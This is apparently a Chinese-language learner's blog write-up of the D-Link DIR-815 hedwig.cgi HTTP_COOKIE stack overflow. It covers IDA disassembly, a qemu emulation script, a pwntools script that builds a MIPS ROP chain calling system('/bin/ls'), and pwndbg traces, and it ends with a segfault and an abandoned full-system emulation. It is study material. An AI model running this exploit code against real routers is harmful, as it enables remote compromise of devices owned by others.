《揭秘》的第一个漏洞分析。
静态分析          该漏洞的描述位于这里 ,可知漏洞出现在hedwig.cgi文件中。首先了解一下cgi文件。
cgi(Common Gateway Interface),通用网关接口。运行在服务器上提供同客户端 HTML 页面的接口的一段程序。
 
        这类文件大概功能就是根据客户端提交的请求生成html页面(?)先获得固件 ,unzip得到.bin文件,binwalk -e 得到文件系统。在文件系统下find . -name  hedwig.cgi,得到的文件是指向./htdocs/cgibin文件的一个符号链接。故对cgibin文件进行分析。
        根据漏洞描述可知漏洞出现的位置与cookie的值有关,搜索cookie字符串的引用。
1 2 3 4 5 6 7 8 9 .text:00407C98                 .globl sess_get_uid .text:00407C98 sess_get_uid:                            # CODE XREF: phpcgi_main+214↑p .text:00407C98                                          # authentication+338↓p ... .text:00407C98 ... .text:00407D00                 la      $t9, getenv .text:00407D04                 li      $a0, aHttpCookie  # "HTTP_COOKIE" .text:00407D08                 jalr    $t9 ; getenv .text:00407D0C                 move    $s3, $v0 
        可知cookie的值是函数sess_get_id调用getenv("HTTP_COOKIE")得到的。char *getenv(const char *name);该函数返回一个指向该环境变量值的指针。再查找函数sess_get_id的引用:
        还挺多。书上说去找hedwigcgi_main内的引用,可能是因为存在漏洞的文件名是hedwig.cgi吧。于是跳过去查看,发现了危险函数sprintf。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 .text:00409640                 la      $t9, sess_get_uid .text:00409644                 nop .text:00409648                 jalr    $t9 ; sess_get_uid .text:0040964C                 move    $a0, $s5 .text:00409650                 lw      $gp, 0x4C0+var_4B0($sp) .text:00409654                 nop .text:00409658                 la      $t9, sobj_get_string .text:0040965C                 nop .text:00409660                 jalr    $t9 ; sobj_get_string .text:00409664                 move    $a0, $s5 .text:00409668                 lw      $gp, 0x4C0+var_4B0($sp) .text:0040966C                 lui     $a1, 0x42  # 'B' .text:00409670                 la      $t9, sprintf .text:00409674                 move    $a3, $v0 .text:00409678                 move    $a2, $s2 .text:0040967C                 li      $a1, aSSPostxml  # "%s/%s/postxml" .text:00409680                 jalr    $t9 ; sprintf 
        继续查看函数hedwigcgi_main的引用,发现只有main调用了,所以通过分析hedwigcgi_main的逻辑设置环境变量。
        函数hedwigcgi_main首先获得REQUEST_METHOD的值,不为POST则打印失败信息。接着调用cgibin_parse_request,获得CONTENT_TYPE和CONTENT_LENGTH的值(总之经过一堆判断这俩都不能为空)。用下面这段来判断这两个值需要满足的条件。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 if ( type ) {     relo_item = p2rel_42C014;             // application/     v16 = 0;     while ( 1 )     {         name = relo_item->name;         if ( !relo_item->name )         break;         str_len = relo_item->size;         ++relo_item;         ++v16;         if ( !strncasecmp(type, name, str_len) )         	return ((int (__fastcall *)(int, int, unsigned int, char *))p2rel_42C014[v16 - 1].func)(         a1,         a2_0,         content_length,         &type[str_len]);     } } 
        而p2rel_42C014处的符号地址字段对type后面的字符进行判断,需等于x-www-form-urlencoded。然后调用sobj_new创建两个大小为6的指针数组,偏移为5处存放cookie。调用sess_get_uid,得到HTTP_COOKIE的值。同样创建两个指针数组a1,a2,以等号为界将前半部分存入a1偏移为5处,后半部分存入a2偏移为5处,a1[5]为uid则将a2[5]存入参数指针数组的偏移为5处。函数sobj_get_string获得该数组中指向cookie的指针。(REMOTE_ADDR应该不用填)接着到了sprintf函数,而在这之下有另一个sprintf函数,据书上说明测试后远程是有/var/tmp目录的,所以造成漏洞的是第二个sprintf。
模拟运行 几个环境变量的值有以下要求:
1 2 3 4 5 6 REQUEST_METHOD: POST CONTENT_TYPE: application/x-www-form-urlencoded CONTENT_LENGTH: 不太懂,暂时设成payload长度 REQUEST_URI: 不为空 REMOTE_ADDR: * HTTP_COOKIE: uid=... 
写个shell脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #  exp.sh # !/bin/bash #  when you execute the file for  the first time, #  cp  $(which  qemu-mipsel-static) ./qemupython 815.py INPUT=$(cat payload) LEN=$(echo -n "$INPUT" | wc -c) PORT="1234" if [ -n "$1" ] ;then   # $1 exists 	echo "$INPUT" | chroot . ./qemu \ 	-E REQUEST_METHOD="POST" \ 	-E HTTP_COOKIE=$INPUT \ 	-E CONTENT_TYPE="application/x-www-form-urlencoded" \ 	-E CONTENT_LENGTH=$LEN \ 	-E REQUEST_URI="a" \ 	-g $PORT \ 	/htdocs/web/hedwig.cgi	 else  	echo "$INPUT" | chroot . ./qemu \ 	-E REQUEST_METHOD="POST" \ 	-E HTTP_COOKIE=$INPUT \ 	-E CONTENT_TYPE="application/x-www-form-urlencoded" \ 	-E CONTENT_LENGTH=$LEN \ 	-E REQUEST_URI="a" \ 	/htdocs/web/hedwig.cgi	 fi 
写个python:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 """815.py""" from  pwn import  *context(arch='mips' ) base=0x76738000  gadget1=0x158c8   gadget2=0x159CC   pd='uid=12345'  regs=flat( base+0x531ff , 'aaaa' ,'aaaa' ,'aaaa' ,'aaaa' ,base+gadget2, 'aaaa' ,'aaaa' ,'aaaa' ,base+gadget1, ) pd+=regs.rjust(1008 ,'a' )+0x10 *'b' +'/bin/ls'  with  open ('payload' ,'w' ) as  f:	f.write(pd) 
在./.gdbinit下写入
1 2 set architecture mips target remote localhost:1234 
    用sudo ./exp.sh -g启动脚本。若在另一个命令行输入gdb-multiarch ./htdocs/web/hedwig.cgi,则用pwndbg进行调试。也可以用ida attach上进程进行调试。函数最终执行到:
1 2 3 4 5 6 7 8 9 10 11 12 .text:00409A28 lw      $ra, 0x4C0+var_s24($sp) .text:00409A2C move    $v0, $s7 .text:00409A30 lw      $fp, 0x4C0+var_s20($sp) .text:00409A34 lw      $s7, 0x4C0+var_s1C($sp) .text:00409A38 lw      $s6, 0x4C0+var_s18($sp) .text:00409A3C lw      $s5, 0x4C0+var_s14($sp) .text:00409A40 lw      $s4, 0x4C0+var_s10($sp) .text:00409A44 lw      $s3, 0x4C0+var_sC($sp) .text:00409A48 lw      $s2, 0x4C0+var_s8($sp) .text:00409A4C lw      $s1, 0x4C0+var_s4($sp) .text:00409A50 lw      $s0, 0x4C0+var_s0($sp) .text:00409A54 jr      $ra 
        查看栈上内容发现已被传入的cookie值覆盖。考虑通过控制这些寄存器的值来控制程序执行流。这个地方需要注意不能用程序原有的gadgets,因为地址中有\0被截断。需要利用libc中的gadgets。
        先找到运行时的基地址。程序貌似什么保护都没开所以所有地址都是固定的。同样符合动态链接第一次执行时先对符号进行链接的规则。在第二次调用sprintf处下断点,得到了sprintf地址。
        ldd一下程序:
1 2 3 4 5 6 ling@ubuntu:~/iot/jm/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ ldd ./htdocs/cgibin checking sub-depends for 'not found' checking sub-depends for 'not found' 	libgcc_s.so.1 => not found (0x00000000) 	libc.so.0 => not found (0x00000000) 	/lib/ld-uClibc.so.0 => /lib/ld-uClibc.so.0 (0x00000000) 
        把libc.so.0链接的文件拖入ida分析,找到sprintf的偏移。用上面得到的sprintf地址减去偏移得到基地址。(用这个办法主要是因为我用不了vmmap…)接着找到system偏移为0x53200,同样会被截断,考虑运算后再得到0x53200。
构造ROP链 接下来找libc里能用的gadgets。在idapython里输入
1 2 3 from  mipsrop import  MIPSROPFindermips=MIPSROPFinder() 
先将$s0覆盖为base+0x531ff,再对$s0+1。
查看偏移处内容:
1 2 3 .text:000158C8                 move    $t9, $s5 .text:000158CC                 jalr    $t9 .text:000158D0                 addiu   $s0, 1 
 这里注意一下指令执行的顺序。在ida的python框里输入:
1 2 import  mipsrophelp (mipsrop)
文档里有这么一句:
1 2 3 4 #    move $t9, $s1 #    jalr $t9 #    li $a0, 1    <-- Remember MIPS has jump delay slots, so this instruction #    is executed with the jump 
查了一下说由于这个什么延迟机制,jalr后的语句(不知道几条)在执行jalr之前执行。找了个jalr在后一句下了断点,确实是在该句执行完后才执行的jalr。(大概和流水线、编译原理、CPU有关,尚未深究……)
 
        得到了一条gadget。同样由于这个机制,在执行到结尾时,会先执行00409A58处将栈恢复,此时就可以在离$sp较近的位置找到输入。
1 2 3 4 5 6 7 8 .text:00409A28                 lw      $ra, 0x4C0+var_s24($sp) .text:00409A2C                 move    $v0, $s7 .text:00409A30                 lw      $fp, 0x4C0+var_s20($sp) .text:00409A34                 lw      $s7, 0x4C0+var_s1C($sp) ... .text:00409A50                 lw      $s0, 0x4C0+var_s0($sp) .text:00409A54                 jr      $ra .text:00409A58                 addiu   $sp, 0x4E8 
        再找给system传参的gadget。需将/bin//sh字符串地址传给$a0。
        执行mips.stackfinders(),找到这样一条比较方便。
1 0x000159CC  |  addiu $s5,$sp,0x14C+var_13C                      |  jalr  $s0    | 
1 2 3 4 5 6 .text:000159CC                 addiu   $s5, $sp, 0x14C+var_13C .text:000159D0                 move    $a1, $s3 .text:000159D4                 move    $a2, $s1 .text:000159D8                 move    $t9, $s0 .text:000159DC                 jalr    $t9 ; mempcpy .text:000159E0                 move    $a0, $s5 
最后构造好运行的结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 pwndbg> n 0x7678b204 in system () from /home/ling/iot/jm/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so warning: GDB can't find the start of the function at 0x7674d9e3. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]──────────────────────────────────  V0   0x0  V1   0x4b  A0   0x76fff230 ◂— '/bin/ls'  A1   0x61616161 ('aaaa')  A2   0x61616161 ('aaaa')  A3   0x20  T0   0x767ab4c8 (__malloc_state) ◂— 0x4b /* 'K' */  T1   0x16f1  T2   0x2  T3   0x24  T4   0x25  T5   0x807  T6   0x800  T7   0x400  T8   0x8  T9   0x7678b200 (system) ◂— lui    $gp, 2 /* 0x3c1c0002 */  S0   0x7678b200 (system) ◂— lui    $gp, 2 /* 0x3c1c0002 */  S1   0x61616161 ('aaaa')  S2   0x61616161 ('aaaa')  S3   0x61616161 ('aaaa')  S4   0x61616161 ('aaaa')  S5   0x76fff230 ◂— '/bin/ls'  S6   0x61616161 ('aaaa')  S7   0x61616161 ('aaaa')  S8   0x61616161 ('aaaa')  FP   0x76fff220 ◂— 'bbbbbbbbbbbbbbbb/bin/ls'  SP   0x76fff220 ◂— 'bbbbbbbbbbbbbbbb/bin/ls' *PC   0x7678b204 (system+4) ◂— addiu  $gp, $gp, 0x32e0 /* 0x279c32e0 */ ───────────────────[ DISASM ]───────────────────    0x7678b200 <system>       lui    $gp, 2  ► 0x7678b204 <system+4>     addiu  $gp, $gp, 0x32e0    0x7678b208 <system+8>     addu   $gp, $gp, $t9    0x7678b20c <system+12>    addiu  $sp, $sp, -0x48    0x7678b210 <system+16>    sw     $ra, 0x44($sp)    0x7678b214 <system+20>    sw     $s5, 0x40($sp)    0x7678b218 <system+24>    sw     $s4, 0x3c($sp)    0x7678b21c <system+28>    sw     $s3, 0x38($sp)    0x7678b220 <system+32>    sw     $s2, 0x34($sp)    0x7678b224 <system+36>    sw     $s1, 0x30($sp)    0x7678b228 <system+40>    sw     $s0, 0x2c($sp) ──────────────────────[ STACK ]────────────────────────── 00:0000│ fp sp 0x76fff220 ◂— 'bbbbbbbbbbbbbbbb/bin/ls' ... ↓          3 skipped 04:0010│ a0 s5 0x76fff230 ◂— '/bin/ls' 05:0014│       0x76fff234 ◂— 0x736c2f /* '/ls' */ 06:0018│       0x76fff238 ◂— 0 07:001c│       0x76fff23c ◂— 0 ──────────────────────[ BACKTRACE ]────────────────────────  ► f 0 0x7678b204 system+4 ─────────────────────────────────────────────────────────── pwndbg>  
但最后还是报了段错误,而且貌似继续执行gadget2后面的指令了。。不太明白。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 pwndbg> c Continuing. warning: GDB can't find the start of the function at 0x7674d9e4. Program received signal SIGSEGV, Segmentation fault. 0x7674d9e4 in ?? () from /home/ling/iot/jm/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── *V0   0x7f00 *V1   0x61616161 ('aaaa') *A0   0x76fff148 ◂— sll    $zero, $v0, 0 /* 0x20000 */ *A1   0x76fff0f0 ◂— 0 *A2   0x0 *A3   0x0  T0   0x767ab4c8 (__malloc_state) ◂— 0x4b /* 'K' */  T1   0x16f1  T2   0x2  T3   0x24  T4   0x25  T5   0x807  T6   0x800  T7   0x400  T8   0x8 *T9   0x7676c8c0 (memcpy) ◂— b      0x7676c8d8 /* 0x10000005 */  S0   0x7678b200 (system) ◂— lui    $gp, 2 /* 0x3c1c0002 */  S1   0x61616161 ('aaaa')  S2   0x61616161 ('aaaa')  S3   0x61616161 ('aaaa')  S4   0x61616161 ('aaaa')  S5   0x76fff230 ◂— '/bin/ls'  S6   0x61616161 ('aaaa')  S7   0x61616161 ('aaaa')  S8   0x61616161 ('aaaa') *FP   0x0  SP   0x76fff220 ◂— 'bbbbbbbbbbbbbbbb/bin/ls' *PC   0x7674d9e4 ◂— 0x8fdc0010 ────────────────────────────[ DISASM ]──────────────────────    0x7674d9d0    move   $a1, $s3    0x7674d9d4    move   $a2, $s1    0x7674d9d8    move   $t9, $s0    0x7674d9dc    jalr   $t9      0x7674d9e0    move   $a0, $s5  ► 0x7674d9e4    lw     $gp, 0x10($fp)    0x7674d9e8    move   $a0, $v0    0x7674d9ec    lw     $a1, -0x7fac($gp)    0x7674d9f0    addiu  $a2, $zero, 1    0x7674d9f4    move   $t9, $s0    0x7674d9f8    jalr   $t9 ────────────────[ STACK ]──────────────────────────────── 00:0000│ sp 0x76fff220 ◂— 'bbbbbbbbbbbbbbbb/bin/ls' ... ↓       3 skipped 04:0010│ s5 0x76fff230 ◂— '/bin/ls' 05:0014│    0x76fff234 ◂— 0x736c2f /* '/ls' */ 06:0018│    0x76fff238 ◂— 0 07:001c│    0x76fff23c ◂— 0 ──────────────────[ BACKTRACE ]─────────────────────  ► f 0 0x7674d9e4 ───────────────────────────────────────────────────────── pwndbg>  
        跟着书上到这里结束。下面的我也不知道对不对反正是猜着做的.jpg
        尝试把文件系统搬到qemu虚拟机里做一下(虽然应该没什么卵用)。先解决虚拟机和主机通信的问题。
1 sudo qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta_mipsel -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -net nic, -net tap -nographic 
        在用上面的命令启动时会添加一块网卡,我的名称是tap1。主机里进行配置sudo ifconfig tap1 10.10.10.1/24,打开虚拟机后ifconfig eth0 10.10.10.2/24。两台就能互相ping通了。scp将文件系统拷贝到虚拟机中,此时还需要挂载/proc /sys /dev几个目录。
1 2 3 4 5 mount --bind /proc squashfs-root/proc/ mount --bind /sys squashfs-root/sys mount --bind /dev squashfs-root/dev    #  不知道直接挂虚拟机的行不行…反正设备文件有缺失 chroot squashfs-root /bin/sh 
        执行/etc/init.d/rcS还是/etc/init0.d/rcS启动,反正都报错了。好了我不行了再见.jpg。
        ps:我也不知道该学点啥,但是大佬们都有自己研究方向那我找个学术界研究的多点的学吧emm。各个方向能做到的都挺牛逼的就是没感觉自己对哪个有倾向性…